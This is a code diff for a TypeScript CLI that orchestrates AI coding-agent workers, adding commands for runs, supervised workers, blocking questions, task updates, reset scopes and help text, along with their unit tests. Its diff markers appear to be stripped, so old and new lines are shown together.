return value.transcript.messages.map(formatWorkerTranscriptMessage).join('\n\n')
|
||||
}
|
||||
|
||||
function formatWorkerTranscriptMessage(message: NativeChatMessage): string {
|
||||
const blocks = message.blocks.map((block) => {
|
||||
if (block.type === 'text') {
|
||||
return block.text
|
||||
}
|
||||
if (block.type === 'tool-call') {
|
||||
return `[tool ${block.name}] ${safeJson(block.input)}`
|
||||
}
|
||||
if (block.type === 'tool-result') {
|
||||
return `[tool result${block.isError ? ' error' : ''}] ${block.output}`
|
||||
}
|
||||
return block.url ? `[image] ${block.url}` : `[image omitted]`
|
||||
})
|
||||
return `[${message.role}] ${blocks.join('\n')}`.trimEnd()
|
||||
}
|
||||
|
||||
function safeJson(value: unknown): string {
|
||||
try {
|
||||
return JSON.stringify(value)
|
||||
} catch {
|
||||
return '[unserializable input]'
|
||||
}
|
||||
}
|
||||
|
||||
export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
'orchestration run-create': async ({ flags, client, cwd, json }) => {
|
||||
const from = await resolveCoordinatorTerminalHandle(flags, cwd, client)
|
||||
const result = await callMutation<{
|
||||
run: { id: string; objective: string; consumer_generation: number }
|
||||
}>(client, flags, 'orchestration.runCreate', {
|
||||
objective: getRequiredStringFlag(flags, 'objective'),
|
||||
from
|
||||
})
|
||||
printResult(result, json, (r) => `Run ${r.run.id} created and bound: ${r.run.objective}`)
|
||||
},
|
||||
|
||||
'orchestration run-use': async ({ flags, client, cwd, json }) => {
|
||||
const from = await resolveCoordinatorTerminalHandle(flags, cwd, client)
|
||||
const result = await callMutation<{
|
||||
run: { id: string; objective: string; consumer_generation: number }
|
||||
}>(client, flags, 'orchestration.runUse', {
|
||||
id: getRequiredStringFlag(flags, 'id'),
|
||||
from
|
||||
})
|
||||
printResult(result, json, (r) => `Using Run ${r.run.id}: ${r.run.objective}`)
|
||||
},
|
||||
|
||||
'orchestration run-current': async ({ flags, client, cwd, json }) => {
|
||||
const from = await resolveCoordinatorTerminalHandle(flags, cwd, client)
|
||||
const result = await client.call<{
|
||||
run: { id: string; objective: string } | null
|
||||
}>('orchestration.runCurrent', { from })
|
||||
printResult(result, json, (r) =>
|
||||
r.run ? `${r.run.id} ${r.run.objective}` : 'No Run is bound to this terminal.'
|
||||
)
|
||||
},
|
||||
|
||||
'orchestration run-list': async ({ client, json }) => {
|
||||
const result = await client.call<{
|
||||
runs: { id: string; objective: string; legacy: number }[]
|
||||
}>('orchestration.runList', {})
|
||||
printResult(result, json, (r) =>
|
||||
r.runs.length === 0
|
||||
? 'No Runs found.'
|
||||
: r.runs
|
||||
.map(
|
||||
(run) => `${run.id}${run.legacy ? ' [legacy, inspect only]' : ''} ${run.objective}`
|
||||
)
|
||||
.join('\n')
|
||||
)
|
||||
},
|
||||
|
||||
'orchestration run-show': async ({ flags, client, json }) => {
|
||||
const result = await client.call<{
|
||||
run: {
|
||||
id: string
|
||||
objective: string
|
||||
consumer_generation: number
|
||||
legacy: number
|
||||
created_at: string
|
||||
}
|
||||
}>('orchestration.runShow', { id: getRequiredStringFlag(flags, 'id') })
|
||||
printResult(
|
||||
result,
|
||||
json,
|
||||
(r) =>
|
||||
`${r.run.id}${r.run.legacy ? ' [legacy, inspect only]' : ''} ${r.run.objective}\n` +
|
||||
`consumer generation ${r.run.consumer_generation}; created ${r.run.created_at}`
|
||||
)
|
||||
},
|
||||
|
||||
'orchestration send': async ({ flags, client, cwd, json }) => {
|
||||
const to = getRequiredStringFlag(flags, 'to')
|
||||
const to = getOptionalStringFlag(flags, 'to')
|
||||
const type = getOptionalStringFlag(flags, 'type')
|
||||
rejectLifecycleGroupRecipient(type, to)
|
||||
if (to) {
|
||||
rejectLifecycleGroupRecipient(type, to)
|
||||
}
|
||||
const outcome = getOptionalStringFlag(flags, 'outcome')
|
||||
if (type === 'worker_done' && outcome === undefined && !flags.has('payload')) {
|
||||
throw new RuntimeClientError(
|
||||
'invalid_argument',
|
||||
'worker_done requires --outcome succeeded or --outcome failed. No effects were applied.',
|
||||
orchestrationSkillRecoveryData()
|
||||
)
|
||||
}
|
||||
if (type !== 'worker_done' && outcome !== undefined) {
|
||||
throw new RuntimeClientError(
|
||||
'invalid_argument',
|
||||
'--outcome is only valid with --type worker_done.'
|
||||
)
|
||||
}
|
||||
|
||||
if (
|
||||
(type === 'worker_done' || type === 'heartbeat') &&
|
||||
@@ -357,9 +501,10 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
|
||||
// Why: lifecycle senders keep ORCA_TERMINAL_HANDLE verbatim — no liveness probe (worker_done must survive the mid-restart window) and no remint (older runtimes require from === the stale assignee_handle).
|
||||
const from = await resolveOrchestrationTerminalHandle(flags, cwd, client, 'from')
|
||||
const result = await client.call<OrchestrationSendResult>('orchestration.send', {
|
||||
const sendParams = {
|
||||
from,
|
||||
to,
|
||||
run: getOptionalStringFlag(flags, 'run'),
|
||||
subject: getRequiredStringFlag(flags, 'subject'),
|
||||
body: getOptionalStringFlag(flags, 'body'),
|
||||
type,
|
||||
@@ -369,7 +514,15 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
// Why: pane key is the remint-stable sender identity the runtime verifies lifecycle ownership against; older runtimes strip it.
|
||||
senderPaneKey: process.env.ORCA_PANE_KEY || undefined,
|
||||
devMode: isDevCliInvocation()
|
||||
})
|
||||
}
|
||||
const dispatchCapability = getOptionalStringFlag(flags, 'dispatch-capability')
|
||||
const result = await callMutation<OrchestrationSendResult>(
|
||||
client,
|
||||
flags,
|
||||
'orchestration.send',
|
||||
sendParams,
|
||||
dispatchCapability ? { orchestrationCapability: dispatchCapability } : undefined
|
||||
)
|
||||
if ('message' in result.result && result.result.lifecycle?.action === 'rejected') {
|
||||
// Why: a rejected lifecycle signal isn't completion; non-zero exit stops workers from treating it as such.
|
||||
process.exitCode = 1
|
||||
@@ -381,6 +534,12 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
}
|
||||
return `Sent ${r.message.id}`
|
||||
}
|
||||
if ('relay' in r) {
|
||||
if (r.relay.destination === 'worker') {
|
||||
return `Queued ${r.relay.messageId} for worker Dispatch ${r.relay.dispatchId}`
|
||||
}
|
||||
return `Queued ${r.relay.messageId} for Run home (Dispatch ${r.relay.dispatchId})`
|
||||
}
|
||||
return `Sent ${r.messages.length} messages to ${r.recipients} recipients`
|
||||
})
|
||||
},
|
||||
@@ -404,17 +563,24 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
messages: MessageSummary[]
|
||||
count: number
|
||||
formatted?: string
|
||||
deliveryId?: string | null
|
||||
runId?: string
|
||||
timedOut?: boolean
|
||||
cancelled?: boolean
|
||||
connectionLost?: boolean
|
||||
}
|
||||
let result: Awaited<ReturnType<typeof client.call<CheckResult>>>
|
||||
try {
|
||||
result = await client.call<CheckResult>('orchestration.check', {
|
||||
result = await callMutation<CheckResult>(client, flags, 'orchestration.check', {
|
||||
terminal,
|
||||
// Why: peek also sends unread:false so pre-peek runtimes degrade to non-consuming all mode instead of destructive mark-read.
|
||||
unread: flags.has('unread') ? true : peek ? false : undefined,
|
||||
peek: peek ? true : undefined,
|
||||
all: flags.has('all') ? true : undefined,
|
||||
types: getOptionalStringFlag(flags, 'types'),
|
||||
inject: flags.has('inject') ? true : undefined,
|
||||
format: flags.has('format') ? true : undefined,
|
||||
run: getOptionalStringFlag(flags, 'run'),
|
||||
ack: getOptionalStringFlag(flags, 'ack'),
|
||||
wait: wait ? true : undefined,
|
||||
timeoutMs
|
||||
})
|
||||
@@ -454,21 +620,36 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
return r.formatted
|
||||
}
|
||||
if (r.count === 0) {
|
||||
if (r.timedOut) {
|
||||
return 'Wait timed out; no messages were consumed.'
|
||||
}
|
||||
if (r.cancelled) {
|
||||
return r.connectionLost
|
||||
? 'Wait cancelled because the connection closed; no messages were consumed.'
|
||||
: 'Wait cancelled; no messages were consumed.'
|
||||
}
|
||||
return 'No messages.'
|
||||
}
|
||||
return r.messages
|
||||
const rendered = r.messages
|
||||
.map((m) => `${m.id} [${m.type ?? 'status'}] from=${m.from_handle} "${m.subject}"`)
|
||||
.join('\n')
|
||||
return r.deliveryId ? `Delivery ${r.deliveryId}\n${rendered}` : rendered
|
||||
})
|
||||
},
|
||||
|
||||
'orchestration reply': async ({ flags, client, cwd, json }) => {
|
||||
const from = await resolveOrchestrationTerminalHandle(flags, cwd, client, 'from')
|
||||
const result = await client.call<{ message: { id: string } }>('orchestration.reply', {
|
||||
id: getRequiredStringFlag(flags, 'id'),
|
||||
body: getRequiredStringFlag(flags, 'body'),
|
||||
from
|
||||
})
|
||||
const result = await callMutation<{ message: { id: string } }>(
|
||||
client,
|
||||
flags,
|
||||
'orchestration.reply',
|
||||
{
|
||||
id: getRequiredStringFlag(flags, 'id'),
|
||||
body: getRequiredStringFlag(flags, 'body'),
|
||||
run: getOptionalStringFlag(flags, 'run'),
|
||||
from
|
||||
}
|
||||
)
|
||||
printResult(result, json, (r) => `Replied ${r.message.id}`)
|
||||
},
|
||||
|
||||
@@ -505,9 +686,11 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
})
|
||||
},
|
||||
|
||||
'orchestration task-create': async ({ flags, client, json }) => {
|
||||
const callerTerminalHandle = await resolveTaskCreatorTerminalHandle(client)
|
||||
const result = await client.call<{ task: { id: string; status: string } }>(
|
||||
'orchestration task-create': async ({ flags, client, cwd, json }) => {
|
||||
const callerTerminalHandle = await resolveCoordinatorTerminalHandle(flags, cwd, client)
|
||||
const result = await callMutation<{ task: { id: string; status: string } }>(
|
||||
client,
|
||||
flags,
|
||||
'orchestration.taskCreate',
|
||||
{
|
||||
spec: getRequiredStringFlag(flags, 'spec'),
|
||||
@@ -515,14 +698,19 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
displayName: getOptionalStringFlag(flags, 'display-name'),
|
||||
deps: getOptionalStringFlag(flags, 'deps'),
|
||||
parent: getOptionalStringFlag(flags, 'parent'),
|
||||
run: getOptionalStringFlag(flags, 'run'),
|
||||
callerTerminalHandle
|
||||
}
|
||||
)
|
||||
printResult(result, json, (r) => `Created ${r.task.id} [${r.task.status}]`)
|
||||
},
|
||||
|
||||
'orchestration task-list': async ({ flags, client, json }) => {
|
||||
'orchestration task-list': async ({ flags, client, cwd, json }) => {
|
||||
const brief = flags.has('brief')
|
||||
const run = getOptionalStringFlag(flags, 'run')
|
||||
const callerTerminalHandle = run
|
||||
? undefined
|
||||
: await resolveCoordinatorTerminalHandle(flags, cwd, client)
|
||||
const result = await client.call<{
|
||||
tasks: {
|
||||
id: string
|
||||
@@ -535,10 +723,14 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
spec_truncated?: boolean
|
||||
}[]
|
||||
count: number
|
||||
runId?: string
|
||||
legacyReadOnly?: boolean
|
||||
}>('orchestration.taskList', {
|
||||
status: getOptionalStringFlag(flags, 'status'),
|
||||
ready: flags.has('ready') ? true : undefined,
|
||||
brief: brief ? true : undefined
|
||||
brief: brief ? true : undefined,
|
||||
run,
|
||||
callerTerminalHandle
|
||||
})
|
||||
// Why: only older runtimes (no spec_truncated) skip server-side abbreviation and need this client-side fallback.
|
||||
const needsClientAbbreviation =
|
||||
@@ -551,9 +743,9 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
: result
|
||||
printResult(output, json, (r) => {
|
||||
if (r.count === 0) {
|
||||
return 'No tasks.'
|
||||
return r.legacyReadOnly ? 'No legacy tasks (read-only).' : 'No tasks.'
|
||||
}
|
||||
return r.tasks
|
||||
const tasks = r.tasks
|
||||
.map((t) => {
|
||||
const label = t.display_name ?? t.task_title ?? t.spec
|
||||
const head = `${t.id} [${t.status}] ${label.slice(0, 60)}`
|
||||
@@ -563,10 +755,11 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
return head
|
||||
})
|
||||
.join('\n')
|
||||
return r.legacyReadOnly ? `Legacy Run ${r.runId} (read-only)\n${tasks}` : tasks
|
||||
})
|
||||
},
|
||||
|
||||
'orchestration task-update': async ({ flags, client, json }) => {
|
||||
'orchestration task-update': async ({ flags, client, cwd, json }) => {
|
||||
const status = getRequiredStringFlag(flags, 'status')
|
||||
if (!TASK_STATUS_VALUES.includes(status as (typeof TASK_STATUS_VALUES)[number])) {
|
||||
throw new RuntimeClientError(
|
||||
@@ -574,30 +767,149 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
`invalid status '${status}', expected one of: ${TASK_STATUS_VALUES.join(', ')}`
|
||||
)
|
||||
}
|
||||
const result = await client.call<{ task: { id: string; status: string } }>(
|
||||
const result = await callMutation<{ task: { id: string; status: string } }>(
|
||||
client,
|
||||
flags,
|
||||
'orchestration.taskUpdate',
|
||||
{
|
||||
id: getRequiredStringFlag(flags, 'id'),
|
||||
status,
|
||||
result: getOptionalStringFlag(flags, 'result')
|
||||
result: getOptionalStringFlag(flags, 'result'),
|
||||
run: getOptionalStringFlag(flags, 'run'),
|
||||
callerTerminalHandle: await resolveCoordinatorTerminalHandle(flags, cwd, client)
|
||||
}
|
||||
)
|
||||
printResult(result, json, (r) => `Updated ${r.task.id} -> ${r.task.status}`)
|
||||
},
|
||||
|
||||
'orchestration worker-start': async ({ flags, client, cwd, json }) => {
|
||||
const result = await callMutation<{
|
||||
runId: string
|
||||
taskId: string
|
||||
dispatchId: string
|
||||
state: string
|
||||
failedStage?: string
|
||||
lastError?: string
|
||||
effects: unknown[]
|
||||
residualResources: unknown[]
|
||||
}>(client, flags, 'orchestration.workerStart', {
|
||||
task: getRequiredStringFlag(flags, 'task'),
|
||||
on: getOptionalStringFlag(flags, 'on'),
|
||||
worktree: getOptionalStringFlag(flags, 'worktree'),
|
||||
name: getOptionalStringFlag(flags, 'name'),
|
||||
repo: getOptionalStringFlag(flags, 'repo'),
|
||||
baseBranch: getOptionalStringFlag(flags, 'base-branch'),
|
||||
displayName: getOptionalStringFlag(flags, 'display-name'),
|
||||
comment: getOptionalStringFlag(flags, 'comment'),
|
||||
setup: getOptionalStringFlag(flags, 'setup'),
|
||||
agent: getOptionalStringFlag(flags, 'agent'),
|
||||
terminal: getOptionalStringFlag(flags, 'terminal'),
|
||||
retryOf: getOptionalStringFlag(flags, 'retry-of'),
|
||||
timeoutMs: getOptionalPositiveIntegerValueFlag(flags, 'timeout-ms'),
|
||||
run: getOptionalStringFlag(flags, 'run'),
|
||||
from: await resolveCoordinatorTerminalHandle(flags, cwd, client),
|
||||
devMode: isDevCliInvocation()
|
||||
})
|
||||
if (result.result.state !== 'ready') {
|
||||
process.exitCode = 1
|
||||
}
|
||||
printResult(result, json, (worker) => {
|
||||
const base = `Worker ${worker.dispatchId} [${worker.state}] for ${worker.taskId}`
|
||||
return worker.lastError
|
||||
? `${base}\n${worker.failedStage ?? 'start'}: ${worker.lastError}`
|
||||
: base
|
||||
})
|
||||
},
|
||||
|
||||
'orchestration worker-show': async ({ flags, client, json }) => {
|
||||
const result = await client.call<{
|
||||
dispatch: { id: string; task_id: string; status: string }
|
||||
worker: { state: string; stage: string; agent_terminal_handle: string | null }
|
||||
}>('orchestration.workerShow', {
|
||||
dispatch: getRequiredStringFlag(flags, 'dispatch')
|
||||
})
|
||||
printResult(
|
||||
result,
|
||||
json,
|
||||
(value) =>
|
||||
`${value.dispatch.id} task=${value.dispatch.task_id} [${value.worker.state}] stage=${value.worker.stage}`
|
||||
)
|
||||
},
|
||||
|
||||
'orchestration worker-read': async ({ flags, client, json }) => {
|
||||
const cursorFlag = getOptionalStringFlag(flags, 'cursor')
|
||||
const cursor =
|
||||
cursorFlag !== undefined && /^\d+$/.test(cursorFlag)
|
||||
? Number.parseInt(cursorFlag, 10)
|
||||
: cursorFlag
|
||||
const source = getOptionalStringFlag(flags, 'source')
|
||||
if (source && !['auto', 'transcript', 'terminal'].includes(source)) {
|
||||
throw new RuntimeClientError(
|
||||
'invalid_argument',
|
||||
'--source must be auto, transcript, or terminal'
|
||||
)
|
||||
}
|
||||
const result = await client.call<OrchestrationWorkerReadResult | LegacyWorkerReadResult>(
|
||||
'orchestration.workerRead',
|
||||
{
|
||||
dispatch: getRequiredStringFlag(flags, 'dispatch'),
|
||||
cursor,
|
||||
limit: getOptionalPositiveIntegerFlag(flags, 'limit'),
|
||||
source: source as OrchestrationWorkerReadSource | undefined
|
||||
}
|
||||
)
|
||||
printResult(result, json, formatWorkerRead)
|
||||
},
|
||||
|
||||
'orchestration worker-stop': async ({ flags, client, json }) => {
|
||||
const result = await callMutation<{
|
||||
dispatchId: string
|
||||
state: string
|
||||
processAction: string
|
||||
lastError?: string
|
||||
}>(client, flags, 'orchestration.workerStop', {
|
||||
dispatch: getRequiredStringFlag(flags, 'dispatch')
|
||||
})
|
||||
if (result.result.state === 'stop_unknown') {
|
||||
process.exitCode = 1
|
||||
}
|
||||
printResult(
|
||||
result,
|
||||
json,
|
||||
(value) =>
|
||||
`Worker ${value.dispatchId} [${value.state}] process=${value.processAction}${value.lastError ? `\n${value.lastError}` : ''}`
|
||||
)
|
||||
},
|
||||
|
||||
'orchestration worker-abandon': async ({ flags, client, json }) => {
|
||||
const result = await callMutation<{
|
||||
dispatchId: string
|
||||
state: string
|
||||
warning: string
|
||||
}>(client, flags, 'orchestration.workerAbandon', {
|
||||
dispatch: getRequiredStringFlag(flags, 'dispatch')
|
||||
})
|
||||
printResult(
|
||||
result,
|
||||
json,
|
||||
(value) => `Worker ${value.dispatchId} [${value.state}]\nWarning: ${value.warning}`
|
||||
)
|
||||
},
|
||||
|
||||
'orchestration dispatch': async ({ flags, client, cwd, json }) => {
|
||||
const from = await resolveCoordinatorTerminalHandle(flags, cwd, client)
|
||||
const dryRun = flags.has('dry-run') ? true : undefined
|
||||
const returnPreamble = flags.has('return-preamble') ? true : undefined
|
||||
// Why: --to is only required for non-dry-run; the RPC handler re-enforces.
|
||||
const to = dryRun ? getOptionalStringFlag(flags, 'to') : getRequiredStringFlag(flags, 'to')
|
||||
const result = await client.call<{
|
||||
const result = await callMutation<{
|
||||
dispatch: { id: string; task_id: string; status: string } | null
|
||||
injected?: boolean
|
||||
dryRun?: boolean
|
||||
preamble?: string
|
||||
}>('orchestration.dispatch', {
|
||||
}>(client, flags, 'orchestration.dispatch', {
|
||||
task: getRequiredStringFlag(flags, 'task'),
|
||||
run: getOptionalStringFlag(flags, 'run'),
|
||||
to,
|
||||
from,
|
||||
inject: flags.has('inject') ? true : undefined,
|
||||
@@ -618,23 +930,46 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
const parsedTimeoutMs = getOptionalPositiveIntegerValueFlag(flags, 'timeout-ms')
|
||||
const timeoutMs = clampOrchestrationAskTimeoutMs(parsedTimeoutMs)
|
||||
const from = await resolveOrchestrationTerminalHandle(flags, cwd, client, 'from')
|
||||
const result = await client.call<{
|
||||
const question = getOptionalStringFlag(flags, 'question')
|
||||
const resume = getOptionalStringFlag(flags, 'resume')
|
||||
if ((question ? 1 : 0) + (resume ? 1 : 0) !== 1) {
|
||||
throw new RuntimeClientError(
|
||||
'invalid_argument',
|
||||
'Choose exactly one of --question or --resume.'
|
||||
)
|
||||
}
|
||||
if (resume && flags.has('options')) {
|
||||
throw new RuntimeClientError(
|
||||
'invalid_argument',
|
||||
'--options is only valid when creating a new question.'
|
||||
)
|
||||
}
|
||||
const result = await callMutation<{
|
||||
answer: string | null
|
||||
messageId: string | null
|
||||
threadId: string
|
||||
timedOut: boolean
|
||||
timeoutMs?: number
|
||||
cancelled?: boolean
|
||||
connectionLost?: boolean
|
||||
}>(
|
||||
client,
|
||||
flags,
|
||||
'orchestration.ask',
|
||||
{
|
||||
to: getRequiredStringFlag(flags, 'to'),
|
||||
question: getRequiredStringFlag(flags, 'question'),
|
||||
to: getOptionalStringFlag(flags, 'to'),
|
||||
run: getOptionalStringFlag(flags, 'run'),
|
||||
question,
|
||||
resume,
|
||||
options: getOptionalStringFlag(flags, 'options'),
|
||||
timeoutMs: parsedTimeoutMs === undefined ? undefined : timeoutMs,
|
||||
from
|
||||
},
|
||||
// Why: extend past timeoutMs so the RPC transport's 60s default doesn't abort before the runtime's own timeout resolves.
|
||||
{ timeoutMs: resolveOrchestrationAskClientTimeoutMs(parsedTimeoutMs) }
|
||||
{
|
||||
timeoutMs: resolveOrchestrationAskClientTimeoutMs(parsedTimeoutMs),
|
||||
orchestrationCapability: getOptionalStringFlag(flags, 'dispatch-capability')
|
||||
}
|
||||
)
|
||||
// Why: bypass printResult so --json emits a bare JSON object (no envelope) pipeable via `jq -r .answer`, unlike other verbs.
|
||||
if (json) {
|
||||
@@ -650,6 +985,16 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
}
|
||||
process.exitCode = 1
|
||||
}
|
||||
if (result.result.cancelled) {
|
||||
if (!json) {
|
||||
console.error(
|
||||
result.result.connectionLost
|
||||
? `ask connection closed (question ${result.result.messageId})`
|
||||
: `ask cancelled (question ${result.result.messageId})`
|
||||
)
|
||||
}
|
||||
process.exitCode = 1
|
||||
}
|
||||
},
|
||||
|
||||
'orchestration dispatch-show': async ({ flags, client, cwd, json }) => {
|
||||
@@ -678,33 +1023,26 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
})
|
||||
},
|
||||
|
||||
'orchestration run': async ({ flags, client, cwd, json }) => {
|
||||
const from = await resolveCoordinatorTerminalHandle(flags, cwd, client)
|
||||
const result = await client.call<{
|
||||
runId: string
|
||||
status: string
|
||||
}>('orchestration.run', {
|
||||
spec: getRequiredStringFlag(flags, 'spec'),
|
||||
from,
|
||||
pollIntervalMs: getOptionalPositiveIntegerFlag(flags, 'poll-interval-ms'),
|
||||
maxConcurrent: getOptionalPositiveIntegerFlag(flags, 'max-concurrent'),
|
||||
worktree: getOptionalStringFlag(flags, 'worktree')
|
||||
})
|
||||
printResult(result, json, (r) => `Run ${r.runId} started (${r.status})`)
|
||||
'orchestration coordinator-start': async () => {
|
||||
throw new RuntimeClientError(
|
||||
'orchestration_migration_required',
|
||||
'The legacy automatic coordinator command is retired. No effects were applied.',
|
||||
orchestrationMigrationData('command_retired')
|
||||
)
|
||||
},
|
||||
|
||||
'orchestration run-stop': async ({ client, json }) => {
|
||||
const result = await client.call<{
|
||||
runId: string
|
||||
stopped: boolean
|
||||
}>('orchestration.runStop', {})
|
||||
printResult(result, json, (r) => `Run ${r.runId} stopped`)
|
||||
'orchestration coordinator-stop': async () => {
|
||||
throw new RuntimeClientError(
|
||||
'orchestration_migration_required',
|
||||
'The legacy automatic coordinator command is retired. No effects were applied.',
|
||||
orchestrationMigrationData('command_retired')
|
||||
)
|
||||
},
|
||||
|
||||
'orchestration gate-create': async ({ flags, client, json }) => {
|
||||
const result = await client.call<{
|
||||
const result = await callMutation<{
|
||||
gate: { id: string; task_id: string; status: string }
|
||||
}>('orchestration.gateCreate', {
|
||||
}>(client, flags, 'orchestration.gateCreate', {
|
||||
task: getRequiredStringFlag(flags, 'task'),
|
||||
question: getRequiredStringFlag(flags, 'question'),
|
||||
options: getOptionalStringFlag(flags, 'options')
|
||||
@@ -717,9 +1055,9 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
},
|
||||
|
||||
'orchestration gate-resolve': async ({ flags, client, json }) => {
|
||||
const result = await client.call<{
|
||||
const result = await callMutation<{
|
||||
gate: { id: string; task_id: string; status: string; resolution: string }
|
||||
}>('orchestration.gateResolve', {
|
||||
}>(client, flags, 'orchestration.gateResolve', {
|
||||
id: getRequiredStringFlag(flags, 'id'),
|
||||
resolution: getRequiredStringFlag(flags, 'resolution')
|
||||
})
|
||||
@@ -745,9 +1083,17 @@ export const ORCHESTRATION_HANDLERS: Record<string, CommandHandler> = {
|
||||
},
|
||||
|
||||
'orchestration reset': async ({ flags, client, json }) => {
|
||||
const hasScopeFlag = flags.has('all') || flags.has('tasks') || flags.has('messages')
|
||||
const result = await client.call<{ reset: string }>('orchestration.reset', {
|
||||
all: flags.has('all') || !hasScopeFlag ? true : undefined,
|
||||
const scopeCount = [flags.has('all'), flags.has('tasks'), flags.has('messages')].filter(
|
||||
Boolean
|
||||
).length
|
||||
if (scopeCount !== 1) {
|
||||
throw new RuntimeClientError(
|
||||
'invalid_argument',
|
||||
'Choose exactly one reset scope: --all, --tasks, or --messages.'
|
||||
)
|
||||
}
|
||||
const result = await callMutation<{ reset: string }>(client, flags, 'orchestration.reset', {
|
||||
all: flags.has('all') ? true : undefined,
|
||||
tasks: flags.has('tasks') ? true : undefined,
|
||||
messages: flags.has('messages') ? true : undefined
|
||||
})
|
||||
|
||||
+17
-3
@@ -85,8 +85,14 @@ Terminals:
|
||||
terminal close Close a terminal pane/session, or its whole tab with --tab
|
||||
|
||||
Orchestration:
|
||||
orchestration run-create Create and bind a lightweight orchestration Run
|
||||
orchestration run-use Bind this coordinator terminal to an existing Run
|
||||
orchestration run-current Show this terminal's bound Run
|
||||
orchestration run-list List lightweight orchestration Runs
|
||||
orchestration run-show Show one lightweight orchestration Run
|
||||
orchestration send Send an inter-agent message
|
||||
orchestration check Check messages for a terminal
|
||||
orchestration check Check the bound Run mailbox
|
||||
orchestration ask Ask the coordinator a blocking question
|
||||
orchestration reply Reply to a message
|
||||
orchestration inbox Show all messages across recipients
|
||||
orchestration task-create Create an orchestration task
|
||||
@@ -94,8 +100,13 @@ Orchestration:
|
||||
orchestration task-update Update a task status
|
||||
orchestration dispatch Dispatch a task to a terminal
|
||||
orchestration dispatch-show Show dispatch context for a task
|
||||
orchestration run Start the coordinator loop
|
||||
orchestration run-stop Stop the active coordinator run
|
||||
orchestration worker-start Start a supervised worker locally or on a connected Orca server
|
||||
orchestration worker-show Inspect one supervised worker
|
||||
orchestration worker-read Read bounded output from one supervised worker
|
||||
orchestration worker-stop Stop one supervised worker
|
||||
orchestration worker-abandon Fence an uncertain worker without claiming it stopped
|
||||
orchestration coordinator-start Start the legacy automatic coordinator loop
|
||||
orchestration coordinator-stop Stop the legacy automatic coordinator loop
|
||||
orchestration gate-create Create a decision gate blocking a task
|
||||
orchestration gate-resolve Resolve a pending decision gate
|
||||
orchestration gate-list List decision gates
|
||||
@@ -419,6 +430,9 @@ function formatCommandFlagHelp(flag: string, commandPath: string[]): string {
|
||||
if (command === 'linear list-issues' && flag === 'cursor') {
|
||||
return '--cursor <cursor> Opaque cursor returned by a previous list-issues page'
|
||||
}
|
||||
if (command === 'orchestration worker-read' && flag === 'cursor') {
|
||||
return '--cursor <cursor> Opaque cursor returned by a previous worker-read page'
|
||||
}
|
||||
if (command === 'linear list-issues' && flag === 'workspace') {
|
||||
return '--workspace <id|all> Connected Linear workspace id, or all'
|
||||
}
|
||||
|
||||
+70
-19
@@ -353,6 +353,15 @@ describe('orca root help', () => {
|
||||
expect(logSpy.mock.calls[0][0]).toContain(
|
||||
'orca terminal create --worktree active --command "codex"'
|
||||
)
|
||||
expect(logSpy.mock.calls[0][0]).toContain(
|
||||
'orchestration worker-start Start a supervised worker locally or on a connected Orca server'
|
||||
)
|
||||
expect(logSpy.mock.calls[0][0]).toContain(
|
||||
'orchestration ask Ask the coordinator a blocking question'
|
||||
)
|
||||
expect(logSpy.mock.calls[0][0]).toContain(
|
||||
'orchestration worker-abandon Fence an uncertain worker without claiming it stopped'
|
||||
)
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
@@ -408,6 +417,20 @@ describe('orca root help', () => {
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('describes worker-read cursors as opaque', async () => {
|
||||
const logSpy = vi.spyOn(console, 'log').mockImplementation(() => {})
|
||||
logSpy.mockClear()
|
||||
|
||||
await main(['orchestration', 'worker-read', '--help'], '/tmp/repo')
|
||||
|
||||
const help = String(logSpy.mock.calls[0][0])
|
||||
expect(help).toContain(
|
||||
'--cursor <cursor> Opaque cursor returned by a previous worker-read page'
|
||||
)
|
||||
expect(help).not.toContain('Line cursor from a previous read')
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('advertises Linear issue linking on worktree create and set help', async () => {
|
||||
const logSpy = vi.spyOn(console, 'log').mockImplementation(() => {})
|
||||
logSpy.mockClear()
|
||||
@@ -501,6 +524,7 @@ describe('orca root help', () => {
|
||||
describe('orca cli worktree awareness', () => {
|
||||
const originalTerminalHandle = process.env.ORCA_TERMINAL_HANDLE
|
||||
const originalUserDataPath = process.env.ORCA_USER_DATA_PATH
|
||||
const originalDevCliInvocation = process.env.ORCA_DEV_CLI_INVOCATION
|
||||
const originalPairingCode = process.env.ORCA_PAIRING_CODE
|
||||
const originalRemotePairing = process.env.ORCA_REMOTE_PAIRING
|
||||
const originalEnvironment = process.env.ORCA_ENVIRONMENT
|
||||
@@ -511,6 +535,7 @@ describe('orca cli worktree awareness', () => {
|
||||
callMock.mockReset()
|
||||
delete process.env.ORCA_TERMINAL_HANDLE
|
||||
delete process.env.ORCA_USER_DATA_PATH
|
||||
delete process.env.ORCA_DEV_CLI_INVOCATION
|
||||
delete process.env.ORCA_WORKSPACE_ID
|
||||
delete process.env.ORCA_WORKTREE_ID
|
||||
// Isolate the pane key so claude-teams tests that set it don't leak a
|
||||
@@ -555,6 +580,11 @@ describe('orca cli worktree awareness', () => {
|
||||
} else {
|
||||
process.env.ORCA_USER_DATA_PATH = originalUserDataPath
|
||||
}
|
||||
if (originalDevCliInvocation === undefined) {
|
||||
delete process.env.ORCA_DEV_CLI_INVOCATION
|
||||
